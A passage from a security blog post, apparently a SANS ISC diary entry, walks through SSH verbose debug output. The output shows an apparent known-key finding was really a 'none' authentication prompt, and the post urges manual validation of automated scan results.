root@kali:~/.ssh# ssh -i test.key admin@192.168.x.x

Please login:

Let's have a look in verbose mode, we can see this:

...
debug1: Authenticating to 192.168.x.x:22 as 'admin'
...
debug1: Will attempt key: test.key  explicit
debug1: SSH2_MSG_SERVICE_ACCEPT received
Authenticated to 192.168.x.x ([192.168.x.x]:22) using "none".
debug1: channel 0: new [client-session]
debug1: Entering interactive session.

What happened? The SSH server accepts connection with the "admin" login (using the "none" authentication) and the spawned shell starts the real authentication process by asking the login. This "none" method is used for access to password-less accounts when "PermitEmptyPasswords" is enabled).

This is a perfect example why more manual tests are sometimes required to validate some findings. Note that maybe the shell or program spawned by the SSH daemon is vulnerable and could be exploited but it's another story! Keep in mind, automation is nice but use your knowledge to validate results!

[1] https://www.rapid7.com/db/modules/exploit/linux/ssh/exagrid_known_privkey/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments